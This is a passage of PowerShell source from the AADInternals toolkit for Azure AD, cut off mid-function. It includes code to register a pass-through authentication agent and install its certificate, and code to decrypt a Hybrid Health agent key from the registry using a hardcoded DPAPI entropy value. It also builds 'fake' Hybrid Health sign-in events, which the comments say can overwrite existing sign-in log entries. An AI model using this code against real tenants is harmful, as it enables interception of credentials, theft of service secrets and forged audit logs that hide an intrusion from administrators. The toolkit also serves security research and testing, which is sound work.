$ERROR_FILENAME_EXCED_RANGE = 206
$ERROR_INTERNAL_ERROR = 1359
$ERROR_INVALID_ACCESS = 12
$ERROR_INVALID_LOGON_HOURS = 1328
$ERROR_INVALID_SERVER_STATE = 1352
$ERROR_INVALID_WORKSTATION = 1329
$ERROR_LDAP_FILTER_ERROR = 87
$ERROR_LDAP_OPERATIONS_ERROR = 1
$ERROR_LOGON_FAILURE = 1326
$ERROR_LOGON_TYPE_NOT_GRANTED = 1385
$ERROR_NETLOGON_NOT_STARTED = 1792
$ERROR_NOT_ENOUGH_MEMORY = 8
$ERROR_NOT_ENOUGH_SERVER_MEMORY = 1130
$ERROR_NO_LOGON_SERVERS = 1311
$ERROR_NO_SUCH_DOMAIN = 1355
$ERROR_NO_SUCH_PACKAGE = 1364
$ERROR_NO_SUCH_USER = 1317
$ERROR_NO_SYSTEM_RESOURCES = 1450
$ERROR_NO_TRUST_SAM_ACCOUNT = 1787
$ERROR_OUTOFMEMORY = 14
$ERROR_PASSWORD_EXPIRED = 1330
$ERROR_PASSWORD_MUST_CHANGE = 1907
$ERROR_PASSWORD_RESTRICTION = 1325
$ERROR_REQUEST_NOT_SUPPORTED = 50
$ERROR_RPC_S_CALL_FAILED = 1726
$ERROR_RPC_S_SERVER_UNAVAILABLE = 1722
$ERROR_TIME_SKEW = 1398
$ERROR_TOO_MANY_CONTEXT_IDS = 1384
$ERROR_TRUSTED_DOMAIN_FAILURE = 1788
$ERROR_TRUSTED_RELATIONSHIP_FAILURE = 1789
$ERROR_WRONG_PASSWORD = 1323
$SEC_E_SMARTCARD_LOGON_REQUIRED = -2146892994
# Registers PTAAgent to the Azure AD
# Nov 10th 2019
# Sep 7th 2022: Added UpdateTrust
function Register-PTAAgent
{
<#
.SYNOPSIS
Registers the PTA agent to Azure AD and creates a client certificate or renews existing certificate.
.DESCRIPTION
Registers the PTA agent to Azure AD with given machine name and creates a client certificate or renews existing certificate.
The filename of the certificate is <server FQDN>_<tenant id>_<agent id>_<cert thumbprint>.pfx
.Example
Get-AADIntAccessTokenForPTA -SaveToCache
Register-AADIntPTAAgent -MachineName "server1.company.com"
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
.Example
$pt=Get-AADIntAccessTokenForPTA
PS C:\>Register-AADIntPTAAgent -AccessToken $pt -MachineName "server1.company.com"
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) registered as server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
.Example
PS C:\>Register-AADIntPTAAgent -MachineName "server1.company.com" -UpdateTrust -PfxFileName .\server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_6464A8C05194B416B347D65F01F89FCCE66292FB.pfx
PTA Agent (005b136f-db3e-4b54-9d8b-8994f7717de6) certificate renewed for server1.company.com
Certificate saved to server1.company.com_513d8d3d-7498-4d8c-85ed-b485ed5c39a9_005b136f-db3e-4b54-9d8b-8994f7717de6_449D42C1BA32B23A621EBE62329AE460FE68924B.pfx
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$MachineName,
[Parameter(Mandatory=$False)]
[String]$FileName,
[Parameter(ParameterSetName='normal',Mandatory=$False)]
[Parameter(ParameterSetName='update',Mandatory=$True)]
[switch]$UpdateTrust,
[Parameter(Mandatory=$False)]
[String]$Bootstrap,
[Parameter(ParameterSetName='update',Mandatory=$True)]
[String]$PfxFileName,
[Parameter(ParameterSetName='update',Mandatory=$False)]
[String]$PfxPassword
)
Process
{
return Register-ProxyAgent -AccessToken $AccessToken -MachineName $MachineName -FileName $FileName -AgentType PTA -UpdateTrust $UpdateTrust -PfxFileName $PfxFileName -PfxPassword $PfxPassword -Bootstrap $Bootstrap
}
}
# Sets the certificate used by Azure AD Authentication Agent
# Mar 3rd 2020
# May 18th 2022: Fixed
function Set-PTACertificate
{
<#
.SYNOPSIS
Sets the certificate used by Azure AD Authentication Agent
.DESCRIPTION
Sets the certificate used by Azure AD Authentication Agent.
The certificate must be created with Register-AADIntPTAAgent function or exported with Export-AADIntProxyAgentCertificates.
.Example
Set-AADIntPTACertificate -PfxFileName server1.pfx -PfxPassword "password"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$PfxFileName="PTA_client_certificate.pfx",
[Parameter(Mandatory=$False)]
[String]$PfxPassword
)
Process
{
# Check if the file exists
if(-not (Test-Path $PfxFileName))
{
Write-Error "The file $PfxFileName does not exist!"
return
}
# Import the certificate twice, otherwise PTAAgent has issues to access private keys
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new((Get-Item $PfxFileName).FullName, $PfxPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::MachineKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
$cert.Import((Get-Item $PfxFileName).FullName, $PfxPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::MachineKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
# Add certificate to Local Computer Personal store
$myStore = Get-Item -Path "Cert:\LocalMachine\My"
$myStore.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite)
$myStore.Add($cert)
$myStore.Close()
# Get the Tenant Id and Instance Id
$TenantId = $cert.Subject.Split("=")[1]
foreach($extension in $cert.Extensions)
{
if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
{
$InstanceID = [guid]$extension.RawData
break
}
}
# Set the registry value (the registy entry should already exists)
Write-Verbose "Setting HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent\InstanceID to $InstanceID"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent" -Name "InstanceID" -Value $InstanceID
if(![string]::IsNullOrEmpty($TenantId))
{
Write-Verbose "Setting HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent\TenantID to $TenantId"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent" -Name "TenantID" -Value $TenantId
}
# Set the certificate thumbprint to config file
$configFile = "$env:ProgramData\Microsoft\Azure AD Connect Authentication Agent\Config\TrustSettings.xml"
Write-Verbose "Setting the certificate thumbprint $($cert.Thumbprint) to $configFile"
[xml]$TrustConfig = Get-Content $configFile
$TrustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.Thumbprint = $cert.Thumbprint
$TrustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.IsInUserStore = "false"
$TrustConfig.OuterXml | Set-Content $configFile
# Set the read access to private key
$ServiceUser="NT SERVICE\AzureADConnectAuthenticationAgent"
# Create an accessrule for private key
$AccessRule = New-Object Security.AccessControl.FileSystemAccessrule $ServiceUser, "read", allow
# Give read permissions to the private key
$keyName = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($cert).Key.UniqueName
Write-Verbose "Private key: $keyName"
$paths = @(
"$env:ALLUSERSPROFILE\Microsoft\Crypto\RSA\MachineKeys\$keyName"
"$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$keyName"
)
foreach($path in $paths)
{
if(Test-Path $path)
{
Write-Verbose "Setting read access for ($ServiceUser) to the private key ($path)"
try
{
$permissions = Get-Acl -Path $path -ErrorAction SilentlyContinue
$permissions.AddAccessRule($AccessRule)
Set-Acl -Path $path -AclObject $permissions -ErrorAction SilentlyContinue
}
catch
{
Write-Error "Could not give read access for ($ServiceUser) to the private key ($path)!"
}
break
}
}
Write-Host "`nCertification information set, remember to (re)start the service."
}
} |
HybridHealthServices_utils.ps1 | AADInternals-0.9.4 | # Gets ADHybridHealthService member credentials
# May 26th 2021
function Get-HybridHealthServiceMemberCredentials
{
<#
.SYNOPSIS
Gets ADHybridHealthService member credentials
.DESCRIPTION
Creates and returns new ADHybridHealthService member credentials
.Parameter AccessToken
The access token used to get ADHybridHealthService members.
.Parameter ServiceName
Name of the ADHybridHealthService
.Parameter ServiceMemberId
Guid of the service member.
.Example
Get-AADIntHybridHealthServiceMemberCredentials -ServiceName AdFederationService-sts.company.com -MemberId 0fce7ce0-81a0-4bf7-87fb-fc787dfe13c2
lastReboot : 2021-03-16T08:17:19.0912Z
lastDisabled :
lastUpdated : 2021-05-06T06:04:20.6537234Z
activeAlerts : 2
resolvedAlerts : 1
createdDate : 0001-01-01T00:00:00
disabled : False
dimensions :
additionalInformation :
tenantId : 5b53828e-8e7b-42d1-a5f0-9b34bbd1844a
serviceId : 50abc8f3-243a-4ac1-a3fb-712054d7334b
serviceMemberId : bec07a23-dd4a-4c80-8c92-9b9dc089f75c
machineId : 0cf2774f-a188-4bd3-b4b3-3a690374325d
machineName : STS01
role : AdfsServer_2016
status : Error
properties :
installedQfes :
recommendedQfes :
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
osVersion : 10.0.17763.0
osName : Microsoft Windows Server 2019 Standard
disabledReason : 0
serverReportedMonitoringLevel :
lastServerReportedMonitoringLevelChange :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$ServiceName,
[Parameter(Mandatory=$True)]
[guid]$ServiceMemberId
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://management.azure.com/providers/Microsoft.ADHybridHealthService/services/$ServiceName/servicemembers/$($ServiceMemberId.toString())/credentials?api-version=2014-01-01" -Headers $headers
# Return credentials
$creds = [ordered]@{}
foreach($cred in $response)
{
# Decode the certificate
if($cred.identifier -eq "tenant.cert")
{
$bCert = Convert-B64ToByteArray -B64 $cred.credentialData
# Strip the header if exists
if($bcert[0] -eq 0x01)
{
# First 4 bytes = format
# Next 4 bytes = length of the string like "policykeyservice.dc.ad.msft.net"
# Total header length = 4 + 4 + length
$length = [bitconverter]::ToInt32($bCert[4..7],0)
$bCert = $bCert[(4+4+$length)..($bcert.length)]
}
$creds[$cred.identifier] = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new([byte[]]$bCert)
}
else
{
$creds[$cred.identifier] = $cred.credentialData
}
}
return New-Object psobject -Property $creds
}
}
# Gets ADHybridHealthService access token
# May 26th 2021
function Get-HybridHealthServiceAccessToken
{
<#
.SYNOPSIS
Gets ADHybridHealthService access token
.DESCRIPTION
Returns ADHybridHealthService access token
.Parameter AgentKey
AgentKey of the ADHybridHealthService agent
.Parameter MachineID
MachineID of the computer running the ADHybridHealthService agent
.Parameter TenantID
Tenant ID.
.Example
$at = Get-AADIntHybridHealthServiceAccessToken -AgentKey $agentKey -TenantId $tenantId -MachineId $machineId
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AgentKey,
[Parameter(Mandatory=$True)]
[guid]$MachineId,
[Parameter(Mandatory=$True)]
[guid]$TenantId
)
Process
{
# Build a body
$body=@{
"grant_type" = "client_credentials"
"client_secret" = $AgentKey
"client_id" = "$($TenantId.ToString())_$($MachineId.ToString())"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://s1.adhybridhealth.azure.com/oauth2/token" -Body $body
return $response.access_token
}
}
# Gets ADHybridHealthService Blob upload key
# May 26th 2021
function Get-HybridHealthServiceBlobUploadKey
{
<#
.SYNOPSIS
Gets ADHybridHealthService blob upload key
.DESCRIPTION
Gets ADHybridHealthService blob upload key. The key is an url used to upload events to Azure blob. Url contains pre-calcuated SAS token.
.Parameter AccessToken
The access token used to get ADHybridHealthService blob upload key.
.Parameter ServiceID
ServiceID
.Example
Get-HybridHealthServiceBlobUploadKey -AccessToken $at -ServiceId $serviceId
https://adhsprodweuaadsynciadata.blob.core.windows.net/adfederationservice-8c11e4fb-299c-42c0-b79a-555c33964b58?sv=2018-03-28&sr=c&sig=pZ056YDtl8iK9PjiNoQED6tLHd3h0EkwDlHY%2Bxf8Znc%3D&se=2021-05-24T06%3A32%3A18Z&sp=w
.Example
$blobKey = Get-AADIntHybridHealthServiceBlobUploadKey -AccessToken $at -ServiceId $serviceId
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[guid]$ServiceId
)
Process
{
$headers = @{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/$($ServiceId.ToString())/keys/BlobUploadKey" -Headers $headers
# Return upload key
$response
}
}
# Gets ADHybridHealthService event hub publisher key
# May 29th 2021
function Get-HybridHealthServiceEventHubPublisherKey
{
<#
.SYNOPSIS
Gets ADHybridHealthService event hub publisher key
.DESCRIPTION
Gets ADHybridHealthService event hub publisher key. The key includes Service Bus endpoint and SharedAccessSignature.
.Parameter AccessToken
The access token used to get ADHybridHealthService event hub publisher key.
.Parameter ServiceID
ServiceID
.Example
Get-AADIntHybridHealthServiceEventHubPublisherKey -AccessToken $at -ServiceId $serviceId
Endpoint=sb://adhsprodweuehadfsia.servicebus.windows.net/;SharedAccessSignature=SharedAccessSignature sr=sb%3a%2f%2fadhsprodweuehadfsia.servicebus.windows.net%2fadhsprodweuehadfsia%2fPublishers%2f8c77dad6-9932-4bfe-bf9e-58734ccb3e2c&sig=XRKxI%2bR7LEe4pBxe4OZt86dzFxIvSsyqs0UPmlO3hFM%3d&se=1622788339&skn=RootManageSharedAccessKey;EntityPath=adhsprodweuehadfsia;Publisher=8c77dad6-9932-4bfe-bf9e-58734ccb3e2c
.Example
$eventKey = Get-AADIntHybridHealthServiceEventHubPublisherKey -AccessToken $at -ServiceId $serviceId
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[guid]$ServiceId
)
Process
{
$headers = @{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://s1.adhybridhealth.azure.com/providers/Microsoft.ADHybridHealthService/monitoringpolicies/$($ServiceId.ToString())/keys/EventHubPublisherKey" -Headers $headers
# Return upload key
$response
}
}
# Send the signature to Azure using service bus
# May 26th 2021
function Send-ADFSServiceBusMessage
{
[cmdletbinding()]
param(
[Parameter(Mandatory=$True)]
[String]$EventHubPublisherKey,
[Parameter(Mandatory=$True)]
[String]$BlobAbsoluteUri,
[Parameter(Mandatory=$True)]
[guid]$MachineId,
[Parameter(Mandatory=$True)]
[guid]$TenantId,
[Parameter(Mandatory=$True)]
[guid]$ServiceId,
[Parameter(Mandatory=$True)]
[datetime]$SigningTime,
[Parameter(Mandatory=$True)]
[String]$HMACSignature
)
Try
{
# Define some needed variables
$keyParts = $EventHubPublisherKey.Split(";")
$endpoint = $keyParts[0].Substring($keyParts[0].IndexOf("=")+1).Replace("sb:","wss:")
$url = "$endPoint$`servicebus/websocket"
$SAS = $keyParts[1].Substring($keyParts[1].IndexOf("=")+1)
$entityPath = $keyParts[2].Substring($keyParts[2].IndexOf("=")+1)
$publisher = $keyParts[3].Substring($keyParts[3].IndexOf("=")+1)
$SASName = "$($endpoint.Replace("wss:","amqp:"))$entitypath/Publishers/$publisher"
# Define headers for the first request
$headers = @{
"Connection" = "Upgrade"
"Upgrade" = "websocket"
"Sec-WebSocket-Key" = [convert]::ToBase64String((New-Guid).ToByteArray())
"Sec-WebSocket-Version" = "13"
"Sec-WebSocket-Protocol" = "AMQPWSB10"
"User-Agent" = ""
}
# Create the socket
$socket = New-Object System.Net.WebSockets.ClientWebSocket
# Add AMQPWSB10 as sub protocol
$socket.Options.AddSubProtocol("AMQPWSB10")
# Create the token and open the connection
$token = New-Object System.Threading.CancellationToken
Write-Verbose "Opening websocket: $url"
$connection = $socket.ConnectAsync($url, $token)
While (!$connection.IsCompleted) { Start-Sleep -Milliseconds 100 }
if($connection.IsFaulted -eq "True")
{
Write-Error $connection.Exception
return
}
# Send the first AMQP message
SendToSocket -Socket $socket -Token $token -Bytes @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x03, # Protocol = SASL
0x01, # Major
0x00, # Minor
0x00)
# Receive response for the first AMQP message
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Receive SASL mechanism
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Send SASL Init (external)
SendToSocket -Socket $socket -Token $token -Bytes (New-SASLInit)
# Receive Welcome!
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Send AMQP init
SendToSocket -Socket $socket -Token $token -Bytes @(
0x41, 0x4D, 0X51, 0X50, # AMQP
0x00, # Protocol
0x01, # Major
0x00, # Minor
0x00) # Revision
# Receive AMQP init response
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Send AMQP Open
$id = Convert-ByteArrayToHex (Get-RandomBytes -Bytes 16)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPOpen -ContainerId $id -HostName ($endpoint.Split("/")[2]))
# Receive AMQP Open response
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Send AMQP Begin
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPBegin)
# Receive AMQP Begin response
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Generate the name for Attach message
$targetNumber = Get-Random -Minimum 1000 -Maximum 65000
$name = "duplex$($targetNumber):$($targetNumber+2):$($targetNumber+3):"
$source = '$cbs'
# Send AMQP Attach (out)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttachADFS -Handle 0 -Direction out -Name "$($name)sender" -Target $source)
# Receive AMQP Attach (out)
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 250)
# Receive AMQP Flow
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 100)
# Send AMQP Attach (in)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttachADFS -Handle 1 -Direction in -Name "$($name)receiver" -Target $id -Source $source)
# Receive AMQP Attach (in)
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 250)
# Send AMQP Flow
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPFlow)
# Send SAS key
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPTransferADFSSAS -Name $SASName -Handle 0 -Id $id -SharedAccessSignature $SAS)
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 1000)
# Send another attach for the insights
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPAttachADFS2 -Handle 2 -Name "$((New-Guid).ToString().replace('-',''));$($targetNumber):$($targetNumber+1):$($targetNumber+6)" -Target "$entitypath/Publishers/$publisher")
$message = Parse-BusMessage (ReadFromSocket -Socket $socket -Token $token -ArraySize 1000)
# Send the Insights message signature
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPTransferADFSInsights -Handle 2 -TenantId $TenantId -MachineId $MachineId -ServiceId $ServiceId -BlobUri $BlobAbsoluteUri -SigningTime $SigningTime -HmacSignature "$HMACSignature")
# Close the channels
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDetach -Handle 0)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDetach -Handle 1)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPDetach -Handle 2)
# Close the bus
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPEnd)
SendToSocket -Socket $socket -Token $token -Bytes (New-AMQPClose)
}Finally{
If ($socket) {
Write-Verbose "Closing websocket"
$socket.Dispose()
}
}
}
# Gets ADHybridHealthService agent information from the local computer
# May 26th 2021
function Get-HybridHealthServiceAgentInfo
{
<#
.SYNOPSIS
Gets ADHybridHealthService agent information from the local computer.
.DESCRIPTION
Gets ADHybridHealthService agent information from the local computer.
.Parameter Service
Which service's agent information to return. Can be one of "ADFS" or "Sync". Defaults to ADFS.
.Example
PS C:\>Get-AADIntHybridHealthServiceAgentInfo
AgentKey : 6Fk9SiL[redacted]Hw==
TenantId : 5d898b21-4478-4ee0-a2be-ad4dfb540b09
ServiceId : 59f626ab-92cd-4658-b12f-12a604f5f1c2
ServiceMemberId : 0bfc0715-1ed2-44c7-89ec-bf7842cc4575
MachineId : 279a0323-4647-494c-ac3a-fc13545f3c33
#>
[cmdletbinding()]
Param(
[ValidateSet("ADFS","Sync")]
[String]$Service="ADFS"
)
Begin
{
# Add the required assembly and entropy
Add-Type -AssemblyName System.Security
$entropy = [text.encoding]::Unicode.getBytes("ra4k1Q0qHdYSZfqGxgnFB3c6Z025w4IU")
}
Process
{
$attributes = [ordered]@{}
try
{
# Decrypt the agent key
$encAgentKey = Convert-B64ToByteArray -B64 (Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent" -Name "AgentKey")
$attributes["AgentKey"] = Convert-ByteArrayToB64 -Bytes ([Security.Cryptography.ProtectedData]::Unprotect([byte[]]$encAgentKey, $entropy, 'CurrentUser'))
# Get other relevant agent information
$attributes["TenantId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent" -Name "TenantId"
$attributes["ServiceId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ServiceId"
$attributes["ServiceMemberId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\ADHealthAgent\$Service" -Name "ServiceMemberId"
$attributes["MachineId"] = Get-ItemPropertyValue -Path "HKLM:\SOFTWARE\Microsoft\Microsoft Online\Reporting\MonitoringAgent" -Name "MachineIdentity"
$attributes["Server"] = $env:COMPUTERNAME
}
catch
{
Throw "Must be run as Local Administrator and on the computer where the agent is installed!`nGot error: $($_.Exception.Message)"
}
# Return
New-Object -TypeName psobject -Property $attributes
}
}
# Create a fake hybrid health service event
# May 26th 2021
function New-HybridHealtServiceEvent
{
<#
.SYNOPSIS
Creates a new ADHybridHealthService event.
.DESCRIPTION
Creates a new ADHybridHealthService event with the given parameters.
.Parameter UniqueID
Unique ID of the event. Provide existing Request ID from the sign-in log to overwrite.
.Parameter Server
Server name of the AD FS server.
.Parameter EventType
Event type. Can be one of "NotSet","AppToken","FreshCredential","System","Discovery","Signout","PwdChange","DeviceReg","Resource","Config","ExtranetLockout".
Defaults to AppToken.
.Parameter PrimaryAuthentication
The list of authentication methods. Can be a combination of "NotSet","Forms","Windows","Certificate","Device","Multifactor","Sso","Federated"
Seems to always require "Sso". Defaults to "Forms","Sso"
.Parameter RequiredAuthType
Requires authentication type. Can be one of "NotSet","Primary","Secondary".
Defaults to Primary
.Parameter RelayingParty
Relaying party. Defaults to "urn:federation:MicrosoftOnline"
.Parameter RelyingPartyName
Display Name of the relaying party.
.Parameter Result
Was the authentication successful or not. Defaults to $True
.Parameter DeviceAuthentication
Was device authentication used or not. Defaults to $False
.Parameter URL
Url. Defaults to "/adfs/ls"
.Parameter User
Some user id number. Defaults to 666
.Parameter UserId
User Id. Defaults to empty.
.Parameter UserIdType
User Id type. Can be one of "AnchorID","UPN","WindowsAccountName","PrimarySID","NameID","Email","Name","NotSet"
Defaults to AnchorID
.Parameter UPN
User Principal Name of the user.
.Parameter Timestamp
Login time. Defaults to current time.
.Parameter Protocol
Authentication protocol used. Can be one of "NotSet","WSFederation","WSFedSamlP","OAuth","SAMLP","WSTrust","MSAdfsPIP","MSISHTTP"
Defaults to WSFederation. If OAuth is used, the client id can be provided.
.Parameter NetworkLocationType
Network type, can be one of "NotSet","Intranet","Extranet"
Defaults to Intranet. If Extranet is used, Azure AD shows geo location.
.Parameter AppTokenFailureType
Reason for login failure. Can be one of "NotAFailure","UPError","LockoutError","ExpiredPassword","DisabledAccount","DeviceAuthError","UserCertAuthError","IssuanceAuthZError","MFAError","ExtranetLockoutError","LogoutError","CredentialValidationError","OtherCredentialError","IssuanceDelegationError","TokenAcceptanceError","ProtocolError","WsFedRequestFailure","InvalidRelyingPartyError","InvalidClientApplicationError","GenericError","OtherError"
Defaults to NotAFailure
.Parameter IPAddress
Ip address of the user.
.Parameter ClaimsProvider
Claims provider.
Defaults to empty.
.Parameter OAuthClientID
Client ID used in OAuth login.
Defaults to empty.
.Parameter OAuthTokenRetrievalMethod
OAuth token retrieval method.
Defaults to empty.
.Parameter MFA
MFA provider used to perform MFA.
Defaults to empty.
.Parameter MFAProviderErrorCode
Error code provided by the MFA provider.
Defaults to empty.
.Parameter .ProxyServer
Proxy server.
Defaults to empty.
.Parameter Endpoint
AD FS endpoint.
Defaults to "/adfs/ls/"
.Parameter UserAgent
UserAgent.
Defaults to "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
.Parameter DeviceID
Device ID used during the login. Can be any device from Azure AD.
Defaults to empty.
.Parameter ErrorHitCount
Number of login errors.
Defaults to 0.
.Parameter X509CertificateType
Type of X509 Certificate.
Defaults to empty.
.Parameter $MFAAuthenticationType
MFA authentication type.
Defaults to empty.
.Parameter ActivityId
Activity Id of the event.
Defaults to random guid.
.Parameter ActivityIdAutoGenerated
Is Activity Id automatically generated or not. Defaults to $False
.Parameter PrimarySid
The primary SID of the user.
Defaults to empty.
.Parameter ImmutableId
Immutable Id of the user. Base 64 encoded GUID of the user's AD object.
Defaults to empty.
.Example
PS C:\>$events = @()
PS C:\>$events += (New-AADIntHybridHealtServiceEvent -Server "Server" -UPN "[email protected]" -IPAddress "192.168.0.2")
PS C:\>Send-AADIntHybridHealthServiceEventBlob -BlobKey $blobKey -TenantId $tenantId -MachineId $machineId -ServiceId $serviceId -EventPublisherKey $eventKey -Events $events
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[guid]$UniqueID = (New-Guid),
[Parameter(Mandatory=$True)]
[String]$Server,
[Parameter(Mandatory=$False)]
[ValidateSet("NotSet","AppToken","FreshCredential","System","Discovery","Signout","PwdChange","DeviceReg","Resource","Config","ExtranetLockout")]
[String]$EventType = "AppToken",
[Parameter(Mandatory=$False)]
[ValidateSet("NotSet","Forms","Windows","Certificate","Device","Multifactor","Sso","Federated")]
[String[]]$PrimaryAuthentication = @("Forms","Sso"),
[Parameter(Mandatory=$False)]
[ValidateSet("NotSet","Primary","Secondary")]
[String]$RequiredAuthType = "Primary",
[Parameter(Mandatory=$False)]
[String]$RelyingParty = "urn:federation:MicrosoftOnline",
[Parameter(Mandatory=$False)]
[String]$RelyingPartyName = "",
[Parameter(Mandatory=$False)]
[bool]$Result = $True,
[Parameter(Mandatory=$False)]
[bool]$DeviceAuthentication = $False,
[Parameter(Mandatory=$False)]
[String]$URL = "/adfs/ls",
[Parameter(Mandatory=$False)]
[int]$User = 666,
[Parameter(Mandatory=$False)]
[String]$UserId,
[Parameter(Mandatory=$False)]
[ValidateSet("AnchorID","UPN","WindowsAccountName","PrimarySID","NameID","Email","Name","NotSet")]
[String]$UserIdType = "AnchorID",
[Parameter(Mandatory=$True)]
[String]$UPN,
[Parameter(Mandatory=$False)]
[datetime]$Timestamp = (Get-Date),
[Parameter(Mandatory=$False)]
[ValidateSet("NotSet","WSFederation","WSFedSamlP","OAuth","SAMLP","WSTrust","MSAdfsPIP","MSISHTTP")]
[String]$Protocol = "WSFederation",
[Parameter(Mandatory=$False)]
[ValidateSet("NotSet","Intranet","Extranet")]
[String]$NetworkLocationType = "Intranet",
[Parameter(Mandatory=$False)]
[ValidateSet("NotAFailure","UPError","LockoutError","ExpiredPassword","DisabledAccount","DeviceAuthError","UserCertAuthError","IssuanceAuthZError","MFAError","ExtranetLockoutError","LogoutError","CredentialValidationError","OtherCredentialError","IssuanceDelegationError","TokenAcceptanceError","ProtocolError","WsFedRequestFailure","InvalidRelyingPartyError","InvalidClientApplicationError","GenericError","OtherError")]
[String]$AppTokenFailureType = "NotAFailure",
[Parameter(Mandatory=$True)]
[String]$IPAddress,
[Parameter(Mandatory=$False)]
[String]$ClaimsProvider,
[Parameter(Mandatory=$False)]
[String]$OAuthClientID,
[Parameter(Mandatory=$False)]
[String]$OAuthTokenRetrievalMethod,
[Parameter(Mandatory=$False)]
[String]$MFA,
[Parameter(Mandatory=$False)]
[String]$MFAProviderErrorCode,
[Parameter(Mandatory=$False)]
[String]$ProxyServer,
[Parameter(Mandatory=$False)]
[String]$Endpoint = "/adfs/ls/",
[Parameter(Mandatory=$False)]
[String]$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36",
[Parameter(Mandatory=$False)]
[String]$DeviceID,
[Parameter(Mandatory=$False)]
[int]$ErrorHitCount = 0,
